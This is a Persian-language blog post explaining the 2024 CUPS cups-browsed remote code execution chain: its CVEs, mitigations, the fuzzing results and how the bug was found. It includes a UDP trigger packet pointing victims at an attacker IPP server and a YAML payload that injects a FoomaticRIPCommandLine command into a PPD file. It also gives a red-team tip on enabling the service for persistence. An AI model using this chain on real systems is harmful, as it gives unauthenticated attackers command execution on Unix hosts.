هفته ی اخیر یسری آسیب پذیری در Common Unix Printing System یا به اختصار CUPS توسط محقق امنیتی Simone Margaritelli (@evilsocket) ، کشف و گزارش شده که یسری از سیستم های مبتنی بر یونیکس رو تحت تاثیر گذاشته و امکان اجرای کد دلخواه از راه دور و بدون احراز هویت رو در این سیستمها فراهم میکنه.
استفاده گسترده از سیستمهای گنو/لینوکس در سرورهای سازمانی، زیرساختهای ابری و برنامههای کاربردی حیاتی، سطح حمله رو گسترش میده و بطور بالقوه روی بسیاری از سرورها، دسکتاپها و دستگاههای تعبیهشده در سراسر جهان تأثیر میذاره.
آنچه در این پست میخوانید:
- آسیب پذیری ها
- تاثیر
- نقاط ورود
- سیستمهای تحت تاثیر
- اصلاح
- نحوه ی کشف و اکسپلویت
- ارزیابی شخصی
- بررسی POC
- نحوه ی اجرای Cupshax
- روشهای تشخیص
- وضعیت آسیب پذیری
- تمپلیت Nuclei
- منابع
آسیب پذیری ها:
بصورت کلی یسری آسیب پذیری در CUPS گزارش شده، که بطور خلاصه آسیب پذیری های زیر با زنجیره شدن، امکان اجرای کد از راه دور رو فراهم میکنن:
- آسیب پذیری CVE-2024-47176 : نسخه های cups-browsed <= 2.0.1 رو تحت تاثیر قرار میده. این سرویس به UDP INADDR_ANY روی پورت 631 متصل میشه و هر پکتی رو از هر منبعی که بتونه یک درخواست IPP Get-Printer-Attributes رو فعال کنه، به یک URL تحت کنترل مهاجم منتقل میکنه.
- آسیب پذیری CVE-2024-47076 : نسخه های libcupsfilters <= 2.1b1 رو تحت تاثیر قرار میده. در نسخه های آسیب پذیر، تابع cfGetPrinterAttributes5، ویژگیهای IPP، برگردونده شده از یک سرور IPP رو تأیید یا پاکسازی نمیکنه. این نقص به داده های تحت کنترل مهاجم امکان تعامل با بقیه سیستم CUPS رو میده.
- آسیب پذیری CVE-2024-47175 : نسخه های libppd <= 2.1b1 رو تحت تاثیر قرار میده. در نسخههای آسیبپذیر، تابع ppdCreatePPDFromIPP2 هنگام نوشتن ویژگیهای IPP در یک فایل موقت PPD، اونارو تأیید یا پاکسازی نمیکنه. این نقص به مهاجم اجازه میده تا دادههای کنترل شده خودش رو در فایل PPD نهایی تزریق کنه.
- آسیب پذیری CVE-2024-47177 : آسیب پذیری نسخه های cups-filters <= 2.0.1 رو تحت تاثیر قرار میده. در نسخه های آسیبپذیر، foomatic-rip به مهاجم اجازه میده تا با استفاده از پارامتر PPD FoomaticRIPCommandLine، دستورات دلخواه رو اجرا کنه.
نکته ای که وجود داره، یکی از افرادی که در پروژه ی CUPS مشارکت داشته به محقق گفته:
از دیدگاه امنیت عمومی، کل سیستم لینوکس، چیزی که امروزه وجود داره، فقط یک آشفتگی بی پایان و ناامیدکننده از حفره های امنیتی هستش که منتظر اکسپلویت شدن، هستن.
تاثیر:
یک مهاجم از راه دور و بدون احراز هویت میتونه بطور مخفیانه URLهای IPP چاپگرهای موجود رو با موارد مخرب جایگزین کنه یا چاپگرهای جدید نصب کنه و در نتیجه هنگام شروع یک Print job در اون سیستم، اجرای کد دلخواه روی اون سیستم رخ بده.
این آسیب پذیری ها تا امتیاز 9.9 رو دریافت کردن بنابراین شدت اونا بحرانی هستش.
نقاط ورود:
- WAN / public internet : یک مهاجم راه دور، یک بسته ی UDP رو به پورت 631 می فرسته. هیچ احراز هویتی وجود نداره. محدود به سرورهایی هستش که مستقیما به اینترنت وصل هستن.
- LAN : یک مهاجم محلی میتونه zeroconf / mDNS / DNS-SD رو جعل کنه و در نتیجه باز میتونه همون مسیر اجرای کد از راه دور رو داشته باشه.
سیستم های تحت تاثیر:
CUPS و بطور مشخص cups-browsed برای اکثر سیستم های یونیکسی بصورت پکیج عرضه شده:
- اغلب توزیعهای GNU/Linux ( از جمله دبیان، Arch، فدورا، KaOS، openSUSE، ابونتو و … )
- برخی سیستم های BSD. (از جمله freebsd)
- Chromium / ChromeOS (البته تحت شرایطی)
- اپل MacOS
- Oracle Solaris
این سرویس در برخی سیستمها بصورت پیش فرض فعاله و برای برخی نه.
محقق اومده کل محدوده ی IPv4 عمومی اینترنت رو اسکن و بهشون بسته ی UDP ارسال کرده و مواردی که متصل شدن رو ثبت کرده. محقق گفته 100 هزار دستگاه متصل شدن که بیش از 200 تا 300 هزار کلاینت متصل شده داشتن. همچنین یک فایلی رو منتشر کرده که حاوی لیستی از سیستم های لینوکسی تحت تاثیر هستش. البته مواردی که لینوکس نبودن، فیلتر شدن.
اصلاح:
- اگه به cups-browsed نیازی ندارید (و احتمالاً ندارید)، اونو غیرفعال و حذف کنید.
- بسته ی CUPS رو در سیستمهای خود بروزرسانی کنید. (نسخه ی 2.4.11)
- در صورتیکه سیستم شما نمیتونه بروزرسانی بشه و به دلایلی به این سرویس وابسته هستید، تمام ترافیک به پورت UDP 631 و احتمالاً تمام ترافیک DNS-SD رو مسدود کنید.
نکته رد تیمی: در سیستمهایی یونیکسی که تحت تاثیر این آسیب پذیری هستن، ممکنه مهاجم با دسترسی اولیه، همین سرویس رو در سیستم قربانی فعال کنه و بعدش از راه دور بهش دسترسی داشته باشه. (پلن B)
محقق یه توصیه شخصی هم کرده و گفته که میتونید اونو قبول کنید یا نه:
من به اندازه کافی این کد رو دیدم و بهش حمله کردم، تا هر سرویس، باینری و کتابخانه CUPS رو از هر یک از سیستمهای خودم حذف کنم و دیگه هرگز از سیستم یونیکس برای چاپ استفاده نکنم. من همچنین zeroconf / avahi / bonjour listener رو حذف میکنم. شما هم ممکنه همین کار بکنید.
نحوه ی کشف و اکسپلویت:
محقق یک روزی اومده اوبونتو رو ریخته به لپ تاپ جدیدش و همینجوری خواسته بررسی کنه که کدوم سرویسها به پورتهای UDP گوش میدن. برای این کار دستور netstat -anu رو در ترمینال زده و نتیجه جالبی رو مشاهده کرده:
بخش 0.0.0.0 به ویژه غیرمعموله، این بدان معنی هستش که هر پروسسی که به پورت 631 گوش میده، به هر اینترفیس شبکه گوش میده و پاسخ میده: LAN، WAN، VPN، هر چیزی که دارید. محقق همچنین بطور مبهم به یاد آورده که CUPS، سیستم Common Unix Printing ، از پورت TCP 631 استفاده میکنه، اما این UDP هستش. محقق با دستور lsof -i :631
بررسی کرده و متوجه شده که CUPS روی 631 tcp هستش و این پروسس، cups-browsed (احتمالاً مربوط به CUPS هستش)، از پورت udp استفاده میکنه:
در نهایت محقق با دستور "ps aux | grep "cups-brow
، متوجه شده که این پروسس با امتیاز root در حال اجراست:
cups-browsed چیه؟
محقق بعد از جستجو در گوگل، متوجه شده که cups-browsed در واقع بخشی از سیستم CUPS هستش و مسئول کشف چاپگرهای جدید و افزودن خودکار اونا به سیستم هستش.
نکته جالب برای محقق این بوده که، لینوکس هر چیزی رو که در شبکه پیدا میکنه، قبل از اینکه کاربر بتونه اونو بپذیره یا مطلع کنه، له لیست چاپگرها اضافه میکنه.
در این مرحله، محقق بسیار کنجکاو و مشتاق بوده، بنابراین شروع به بررسی سورس کد این سرویس کرده. کدها از یک طرفی بسیار نامرتب بودن، از طرف دیگه مستقل و نسبتاً برای درک آسون بودن. بنابراین محقق دنبال استفاده از API bind گشته و مطمئن شده که به INADDR_ANY:631 UDP گوش میده:
این کد از متغیرهای سراسری استفاده میکنه، بنابراین جستجوی browsesocket نشون داد که تابع process_browse_data پکتی از اون رو میخونه و یسری بررسیها و تجزیهها روش انجام میده:
اساساً، این سرویس انتظار داره یک بسته UDP با فرمت HEX_NUMBER HEX_NUMBER TEXT_DATA داشته باشه و اگه تابع allowed برای IP مبدا خاص، مقدار true رو برگردونه، اتفاقات بیشتری بعداً رخ میده.
میتونید با ویرایش فایل پیکربندی /etc/cups/cups-browsed.conf مشخص کنید چه کسی میتونه و چه کسی نمیتونه متصل بشه. فایل پیکربندی پیشفرض، تقریباً در هر سیستمی، از طریق کامنت مشخص کرده که هر کسی اجازه اتصال داره.
در ادامه کد، برخی عملیات اشاره گر، برای تجزیه بسته انجام میشه. اگه همه بررسیها تایید بشن، دو فیلد رشته ای تجزیه شده از بسته به تابع found_cups_printer ارسال میشن. فعلا کاری با این تابع نداریم و تمرکزمون رو روی تجزیه میزاریم.
Stack Buffer Overflow و Race Conditions :
نکته ای که وجود داره، پکیج CUPS توسط oss-fuzz بررسی شده اما به نظر میاد که برای cups-browsed هیچ پوشش فازی انجام نگرفته. محقق اعلام کرده که روتین تجزیه ارزش فاز کردن رو داره:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
end = packet + sizeof(packet); c = strchr (packet, '\"'); if (c >= end) return (TRUE); if (c) { // Extract location field { int i; c++; for (i = 0; i < sizeof (location) - 1 && *c != '\"' && c < end; i++, c++) location[i] = *c; location[i] = '\0'; debug_printf("process_browse_data: location: |%s|\n", location); // !! } for (; c < end && *c != '\"'; c++); if (c >= end) return (TRUE); if (*c == '\"') for (c++; c < end && isspace(*c); c++); if (c >= end) return (TRUE); // Is there an info field? if (*c == '\"') { int i; c++; for (i = 0; i < sizeof (info) - 1 && *c != '\"' && c < end; i++, c++) info[i] = *c; info[i] = '\0'; debug_printf("process_browse_data: info: |%s|\n", info); // !! } } if (c >= end) return (TRUE); |
محقق در ادامه اومده process_browse_data رو با AFL فاز کرده و نتیجه شده شکل زیر:
همونطور که در شکل هم مشاهده میکنید، 5 ورودی منجر به کرش شده:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 |
process_browse_data() in THREAD 136077340691200 got= 1135 httpAddrGetString(addr=0x7bc2f7f098a0, s=0x7bc2f7f09a00, slen=255) 1httpAddrGetString: returning "UNKNOWN"... browse packet received from UNKNOWN process_browse_data: location: |IIIIIIII???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????@???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????| ================================================================= ==28780==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7bc2f7f09820 at pc 0x58293fb0926b bp 0x7fffa0308490 sp 0x7fffa0308488 READ of size 1 at 0x7bc2f7f09820 thread T0 #0 0x58293fb0926a in process_browse_data(char const*) /home/evilsocket/lab/cups-fuzz/process_browse_data/main.cpp:264:42 #1 0x58293fb093d6 in main /home/evilsocket/lab/cups-fuzz/process_browse_data/main.cpp:292:9 #2 0x7bc2fa42a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #3 0x7bc2fa42a28a in __libc_start_main csu/../csu/libc-start.c:360:3 #4 0x58293fa293e4 in _start (/home/evilsocket/lab/cups-fuzz/process_browse_data/fuzz-target+0x2d3e4) (BuildId: a6df1903658bcb123c38a4a928f80e2a81b617e1) Address 0x7bc2f7f09820 is located in stack of thread T0 at offset 2080 in frame #0 0x58293fb08557 in process_browse_data(char const*) /home/evilsocket/lab/cups-fuzz/process_browse_data/main.cpp:164 This frame has 8 object(s): [32, 2080) 'packet' (line 165) <== Memory access at offset 2080 overflows this variable [2208, 2464) 'srcaddr' (line 166) [2528, 2532) 'type' (line 169) [2544, 2548) 'state' (line 170) [2560, 2816) 'remote_host' (line 171) [2880, 3904) 'uri' (line 172) [4032, 5056) 'location' (line 173) [5184, 6208) 'info' (line 174) HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow /home/evilsocket/lab/cups-fuzz/process_browse_data/main.cpp:264:42 in process_browse_data(char const*) Shadow bytes around the buggy address: 0x7bc2f7f09580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7bc2f7f09600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7bc2f7f09680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7bc2f7f09700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7bc2f7f09780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x7bc2f7f09800: 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 0x7bc2f7f09880: f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 0x7bc2f7f09900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7bc2f7f09980: 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 04 f2 04 f2 0x7bc2f7f09a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7bc2f7f09a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==28780==ABORTING |
محقق معتقده که این بدلیل عدم ارجاع (dereference) اشاره گر، قبل از تایید شرط خروج، در هر دو حلقه هستش. همچنین در ادامه محقق متوجه شده که race condition و احتمالا DOS هم وجود داره.
محقق هر دو این مسائل به توسعهدهندگان و CERT گزارش و کاملاً مستند کرده، اما گویا کسی اهمیتی به گزارش نداده. محقق اعلام کرده که علاوه بر مکانیسم کشف، مسیرهای کد قابل اکسپلویت آسونتر دیگه ای هم وجود داره که، گزارش شده و نادیده گرفته شدن. محقق گفته تا زمان نگارش پست این آسیب پذیریها تایید یا اصلاح نشدن. اگه علاقمند بودید برید سراغش.
محقق به دلیل تنبلی و تازه کار بودن در اکسپلویت باینری، تصمیم گرفته مسیر آسونتر یا به اصطلاح خودش، میوه هایی که پایین تر هستن رو چیده.
بازگشت به تابع found_cups_printer :
اگه به تابع found_cups_printer نگاهی بندازیم، مشاهده میکنیم که یکی از فیلدهای رشته ای ارسالی، یک URL هستش:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
// // A CUPS printer has been discovered via CUPS Browsing // or with BrowsePoll // static void found_cups_printer(const char *remote_host, const char *uri, const char *location, const char *info) { // ... initialization skipped ... httpSeparateURI(HTTP_URI_CODING_ALL, uri, scheme, sizeof(scheme) - 1, username, sizeof(username) - 1, host, sizeof(host) - 1, &port, resource, sizeof(resource)- 1); |
بعد از یسری اعتبارسنجی و تجزیه بیشتر، این URL و سایر دادهها، به عنوان آرگومان به تابع examine_discovered_printer_record پاس داده میشن که در نهایت تابع create_remote_printer_entry رو اجرا میکنه. تابع create_remote_printer_entry بعدش cfGetPrinterAttributes رو از libcupsfilters فراخوانی میکنه:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
// For a remote CUPS printer our local queue will be raw or get a // PPD file from the remote CUPS server, so that the driver on the // remote CUPS server gets used. So we will not generate a PPD file // or interface script at this point. p->netprinter = 0; if (p->uri[0] != '\0') { p->prattrs = cfGetPrinterAttributes(p->uri, NULL, 0, NULL, 0, 1); debug_log_out(cf_get_printer_attributes_log); if (p->prattrs == NULL) { debug_printf("get-printer-attributes IPP call failed on printer %s (%s).\n", p->queue_name, p->uri); goto fail; } } |
برای اینکه مفهوم این کد رو بفهمیم باید پروتکل IPP رو درک کنیم. اما قبلش چند نکته کلیدی وجود داره:
- بسته های حاوی URL، به صورت
0 3 http://<ATTACKER-IP>:<PORT>/printers/whatever
به پورت UDP 631 میرسن. - این باعث ایجاد توالی از رویدادهایی میشه که منجر به اتصال cups-browsed به اون URL میشه، یک نوع حمله drive-by هستش. (نوع حمله سایبری که در اون، یک سیستم یا برنامه بدون دخالت کاربر، هدف قرار میگیره.)
محقق برای تست، از طریق shodan دنبال موردی بوده که بصورت عمومی در اینترنت باشه و CUPS رو اجرا کنه و به URL ارسالی متصل بشه.
یسری کد پایتون زده و یک VPS بالا آورده تا این موارد رو تست کنه:
با اجرای کد پایتون، نه تنها بلافاصله وصل شدن، بلکه نسخه ی کرنل و معماری رو در هدر User-Agent برگردوندن.
Internet Printing Protocol چیست:
پروتکل Internet Printing Protocol یا به اختصار IPP یک پروتکل ارتباطی مخصوص، برای ارتباط بین کلاینتها (مانند کامپیوتر، تلفن همراه و … ) و چاپگرها (یا سرورهای چاپ) هستش. این پروتکل به کلاینت اجازه میده تا یسری print job رو به سرور چاپ یا چاپگر متصل به شبکه ارسال کنه و کارهایی مانند بدست آوردن وضعیت چاپگر، وضعیت print jobها و لغو اونارو انجام بده.
IPP در تمام سیستم عامل های اصلی از جمله ویندوز، macOS و لینوکس پشتیبانی میشه.
در این مرحله، سیستم فکر میکنه که ما یک چاپگر هستیم و یک درخواست Get-Printer-Attributes از طریق HTTP برای ما ارسال میکنه، تا ویژگی های چاپگر مانند مدل، سازنده و … رو بدست بیاره. این یه چیزه منطقیه، سیستم مارو بعنوان یک چاپگر جدید شناسایی کرده و میخواد بدونه ما چه ویژگی هایی داریم.
محقق از طریق پکیج پایتونی ippserver، کدهاش رو توسعه داده تا بتونه به درخواست سرویس پاسخ بده. چاپگر جعلی بدون مطلع کردن کاربر به چاپگرهای محلی اضافه شده.
محقق در ادامه اومده لاگهای دیباگ رو در سیستم فعال کرده تا ببینه وقتی پرینتر جدید کشف و به سیستم اضافه میشه، چه اتفاقی می افته، که متوجه این خطوط جالب شده:
1 2 3 4 5 6 7 8 9 |
Wed Sep 4 13:15:32 2024 127517144909504 Creating permanent CUPS queue God_192_168_50_19. Wed Sep 4 13:15:32 2024 127517144909504 Loading saved printer options for God_192_168_50_19 from /var/cache/cups-browsed/cups-browsed-options-God_192_168_50_19 Wed Sep 4 13:15:32 2024 127517144909504 Failed reading file /var/cache/cups-browsed/cups-browsed-options-God_192_168_50_19, probably no options recorded yet Wed Sep 4 13:15:32 2024 127517144909504 Print queue God_192_168_50_19 is for remote CUPS queue(s) and we get notifications from CUPS, using implicit class device URI implicitclass://God_192_168_50_19/ Wed Sep 4 13:15:32 2024 127517144909504 PPD generation successful: PDF PPD generated. Wed Sep 4 13:15:32 2024 127517144909504 Created temporary PPD file: /tmp/00f9466d902dc Wed Sep 4 13:15:32 2024 127517144909504 Using PPD /tmp/00f9466d902dc for queue God_192_168_50_19. Wed Sep 4 13:15:32 2024 127517144909504 Editing PPD file /tmp/00f9466d902dc for printer God_192_168_50_19, setting the option defaults of the previous cups-browsed session and doing client-side filtering of the job, saving the resulting PPD in /tmp/00f9466d9231e. Wed Sep 4 13:15:32 2024 127517144909504 Non-raw queue God_192_168_50_19 with PPD file: /tmp/00f9466d9231e |
اتفاقی که میافته اینه که سرویس این ویژگیها رو واکشی میکنه و بعدش یک فایل موقت، PPD ایجاد میکنه و این ویژگی هارو داخلش ذخیره میکنه.
اگه رشته ی PPD generation successful رو که در لاگها وجود داشتن رو سرچ کنیم به تابع create_queue میرسیم. در این تابع ویژگی ها به ppdCreatePPDFromIPP2 API در libppd ارسال میشن.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
// If we do not want CUPS-generated PPDs or we cannot obtain a // CUPS-generated PPD, for example if CUPS does not create a // temporary queue for this printer, we generate a PPD by // ourselves printer_ipp_response = (num_cluster_printers == 1) ? p->prattrs : printer_attributes; if (!ppdCreatePPDFromIPP2(ppdname, sizeof(ppdname), printer_ipp_response, make_model, pdl, color, duplex, conflicts, sizes, default_pagesize, default_color, ppdgenerator_msg, sizeof(ppdgenerator_msg))) { if (errno != 0) debug_printf("Unable to create PPD file: %s\n", strerror(errno)); else debug_printf("Unable to create PPD file: %s\n", ppdgenerator_msg); p->status = STATUS_DISAPPEARED; current_time = time(NULL); p->timeout = current_time + TIMEOUT_IMMEDIATELY; goto end; } else { debug_printf("PPD generation successful: %s\n", ppdgenerator_msg); debug_printf("Created temporary PPD file: %s\n", ppdname); ppdfile = strdup(ppdname); } |
در نهایت به libppd میرسیم، جایی که ppdCreatePPDFromIPP2 برای ذخیره برخی از اون ویژگیهای رشته ای کنترل شده توسط مهاجم در یک فایل با یک نحو بسیار خاص، مبتنی بر خط، بدون هیچ گونه پاکسازی استفاده میشه:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
if ((attr = ippFindAttribute(supported, "printer-make-and-model", IPP_TAG_TEXT)) != NULL) strlcpy(make, ippGetString(attr, 0, NULL), sizeof(make)); else if (make_model && make_model[0] != '\0') strlcpy(make, make_model, sizeof(make)); else strlcpy(make, "Unknown Printer", sizeof(make)); if (!strncasecmp(make, "Hewlett Packard ", 16) || !strncasecmp(make, "Hewlett-Packard ", 16)) { model = make + 16; strlcpy(make, "HP", sizeof(make)); } else if ((model = strchr(make, ' ')) != NULL) *model++ = '\0'; else model = make; cupsFilePrintf(fp, "*Manufacturer: \"%s\"\n", make); // <--- LOL cupsFilePrintf(fp, "*ModelName: \"%s %s\"\n", make, model); // <--- LOL cupsFilePrintf(fp, "*Product: \"(%s %s)\"\n", make, model); // <--- LOL cupsFilePrintf(fp, "*NickName: \"%s %s, %sdriverless, %s\"\n", make, model, (is_fax ? "Fax, " : ""), VERSION); cupsFilePrintf(fp, "*ShortNickName: \"%s %s\"\n", make, model); // <--- LOL |
دقت کنید که چند ویژگی fprintf شده، بدون پاکسازی در فایل ذخیره میشن، که printer-make-and-model یکی از اوناست. خب سوالی که هست اینه که PPD چیه؟
نکته: این دو API در بخشهای دیگه CUPS هم مورد استفاده قرار میگیرن و نه فقط در مرحله کشف چاپگرها.
PPD چیه؟
فایلهای PostScript Printer Description یا به اختصار PPD، توسط سازندگان ایجاد میشن تا مجموعه ای از ویژگی ها و قابلیتهای موجود در چاپگرهای PostScript اشون رو توصیف کنن.
PostScript یک زبان برنامهنویسی هستش که بطور خاص برای توصیف صفحات چاپ شده طراحی شده. این زبان به چاپگر میگه که چطوری یک سند رو روی کاغذ ترسیم و چاپ کنه. از این رو، چاپگرهای PostScript میتونن انواع مختلفی از گرافیکها، فونتها و طرحبندیها رو با کیفیت بالا چاپ کنن.
یک PPD همچنین شامل کد PostScript (دستورات) هستش که برای فراخوانی ویژگیهای print job استفاده میشه. به این ترتیب، PPDها با ارائه ی یک رابط یکپارچه برای قابلیتها و ویژگیهای چاپگرها، بعنوان یک درایور برای همه ی چاپگرهای PostScript عمل میکنن.
بنابراین یک فایل PPD، یک فایل متنی هستش که توسط سازنده ارائه میشه که قابلیت های چاپگر رو به CUPS به زبانی خاص توصیف و نحوه ی استفاده از اون رو ارائه میده. یک چیزی شبیه به این:
1 2 3 4 5 6 7 8 9 |
*% ================================= *% Basic Device Capabilities *% ================================= *LanguageLevel: "2" *ColorDevice: True *DefaultColorSpace: CMYK *TTRasterizer: Type42 *FileSystem: False *Throughput: "10" |
دستورات مختلفی وجود داره و بنابراین محقق رفته سراغ PPD تا موردی رو پیدا کنه که ازش در حمله بتونه استفاده کنه. موردی که توجه اش رو جلب کرده cupsFilter2 بوده:
فیلتر هر اجرایی که در مسیر /usr/lib/cups/filter قرار داره (CUPS این رو بررسی میکنه، شما نمیتونید باینری رو مشخص کنید)، که هنگام ارسال یک print job به چاپگر، برای انجام برخی تبدیلات سند اگه چاپگر از اون فرمت خاص پشتیبانی نمیکنه، اجرا میشه. بنابراین، با توجه به اینکه ما محدودیتی در مورد اینکه کدوم باینری رو میتونیم اجرا کنیم داریم، باید راهی برای استفاده از یکی از فیلترهای موجود برای اجرای دستورات دلخواه پیدا کنیم. و همچنین از این بررسیها در اینجا عبور کنیم، که فقط با یک فاصله قبل از : حل میشه.
فرزند ناخلف: foomatic-rip
مورد دیگه ای که برای خانواده ی CUPS مشکل ایجاد میکنه، فیلتر foomatic-rip هستش. این اجرایی سابقه ی طولانی در اکسپلویت شدن داره از جمله CVE-2011-2964 و CVE-2011-2697 که به سال 2011 برمیگرده. فیلتر، دستورالعمل FoomaticRIPCommandLine رو در PPD قبول میکنه، که امکان اجرای هر دستوری رو میده.
طبق این commit، این CVEها اصلاح شدن. با این حال، ممکنه متوجه شده باشید که این بسته متفاوتی هستش و foomatic-filters نام داره. وقتی foomatic-filters در سیستم CUPS ادغام شد، این اصلاح به CUPS منتقل نشده، میشه این با آرگومان ppd– تأیید کرد، در ابتدا به عنوان بخشی از اصلاح حذف شده و امروزه هنوز در کد وجود داره. در واقع، میتونیم مواردی از دستور FoomaticRIPCommandLine رو برای اجرای دستورات دلخواه در CVE-2024-35235 پیدا کنیم.
بنابراین foomatic-rip یک مشکل شناخته شده بود که توسط توسعه دهندگان CUPS هم تایید شده اما برای دهه ها بدون اصلاح باقی مونده. چرا چنین مشکلی که امکان اجرای دستور دلخواه رو میده رفع نشده، جوابش از نظر توسعه دهندگان CUPS اینه که اصلاحش سخت بوده:
… بسیار دشواره که محدود کنیم چه چیزی رو میشه در خط FoomaticRIPCommandLine در فایل PPD ارائه کرد. REDACTED و بقیه تیم OpenPrinting در مورد راههایی برای محدود کردن اونچه میشه از طریق Foomatic انجام داد، بدون اینکه درایورهای موجود رو خراب کنه، صحبت کردن. ما قطعاً میتونیم توصیه کنیم که مردم از Foomatic استفاده نکنن، اما احتمالاً صدها مدل چاپگر قدیمی (قبل از 2010) وجود داره که فقط از طریق Foomatic پشتیبانی میشن.
و بسیاری از اون صدها مدل، واقعا از این دستورالعمل به روشهای خلاقانه استفاده میکنن مانند :
1 2 3 |
*FoomaticRIPCommandLine: "(printf '\033%%-12345X@PJL\n@PJL JOB\n@PJL SET COPIES=&copies;\n'%G|perl -p -e "s/\x26copies\x3b/1/"); (gs -q -dBATCH -dPARANOIDSAFER -dNOPAUSE -dNOINTERPOLATE %B%A%C %D%E | perl -p -e "s/^\x1b\x25-12345X//" | perl -p -e "s/\xc1\x01\x00\xf8\x31\x44/\x44/g"); (printf '@PJL\n@PJL EOJ\n\033%%-12345X')" |
همونطور که مشاهده میکنید، حتی پرل رو هم اجرا میکنه، اگه اجرا هم نکنه، خیلی از چاپگرها در یونیکس از کار می افتن.
زنجیره اجرای دستور از راه دور:
خب از لحاظ تئوری الان باید بتونیم :
- دستگاه هدف رو مجبور کنیم تا به سرور IPP مخرب ما متصل بشه.
- یک رشته ویژگی IPP رو برگردونیم که دستورالعملهای PPD کنترل شده رو به فایل موقت تزریق کنه.
- منتظر بمونیم تا یک print job به چاپگر جعلی ما ارسال بشه تا دستورالعملهای PPD و در نتیجه دستور ما اجرا بشه.
این پیلود پیکربندی برای سرور IPP هستش (یک فایل YAML هستش که میتونید در نسخه bettercap و ماژولهای جدیدش zeroconf و ipp، استفاده کنید):
1 2 3 4 5 6 7 8 9 10 11 12 13 |
# ... other configuration removed for brevity ... # enables the IPP server ipp: # this can be the name of an existing device # in which case its original IPP record will be transparently hijacked printer-name: EVIL_PRINTER # where the magic happens, it's important to preserve the new lines printer-privacy-policy-uri: | https://www.google.com/" *FoomaticRIPCommandLine: "echo 1 > /tmp/PWNED" *cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip |
میتونید مشاهده کنید که یک ویژگی رشته ای، printer-privacy-policy-uri رو، چطوری بر میگردونیم. البته این فقط یکی از موارد ذخیره شده در PPD هستش. در این رشته :
- ویژگی printer-privacy-policy-uri رو به https://www.google.com تنظیم کنید و رشته ی PPD رو با ” ببندید و برید خط جدید.
- خط
*FoomaticRIPCommandLine: "echo 1 > /tmp/PWNED
رو اضافه کنید که در حقیقت دستور تزریق شده ی ما به PPD هستش. - خط
*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip به CUPS
دستور میده تا اجرایی /usr/lib/cups/filter/foomatic-rip رو وقتی یک print job ارسال میشه، اجرا کنه. (به فاصله و : و عدم استفاده از ” در انتها دقت کنید) (در حقیقت این دستور FoomaticRIPCommandLine رو اجرا میکنه)
ویدیوی زیر نشون دهنده اجرای اکسپلویت هستش. سمت چپی سیستم مهاجم رو نشون میده. ماشین قربانی یک Ubuntu 24.04.1 LTS هستش که بصورت کامل اصلاح شده و نسخه ی cups-browsed 2.0.1 که آخرین نسخه این سرویس هستش روش در حال اجراست:
ارزیابی شخصی:
محقق از نحوه ی رسیدگی و اصلاح این آسیب پذیری ها گله کرده. اون گفته که شاید با مطالعه ی این گزارش فکر کنید که این تحققیق پیچیده ای بوده و زمان زیادی صرفش شده اما در واقع دو روز به اندازه ی یک آخر هفته صرفش شده، اما زمان گفتگو و تایید 22 روز طول کشیده، که در این 22 روز هم کلی ایمیل و جزییات ارسال شده.
این عدم اهمیت توسط توسعه دهندگان باعث شده تا محقق خسته بشه و آسیب پذیری رو در شبکه های اجتماعی منتشر کنه. این کارش باعث حساسیت خیلیها شده که در پاسخ محقق گفته که: من این کار برای امرار معاش یا برای اینکه شغلی پیدا کنم یا خودم ثابت کنم نکردم. من نیازی به CVE ندارم. وقتی چیزی که مهم هستش رو رد میکنن، بنابراین من از تنها ابزاری که دارم استفاده کردم تا اونارو مجبور کنم دوباره کارشون رو اولویت بندی کنن. که البته این کار جواب داده و باعث شده تا تیم توسعه دهنده سریعتر مشکل رو حل کنه.
محقق گفته از من متنفر نباشید از سیستمی متفر باشید که من مجبور کرده این کار بکنم.
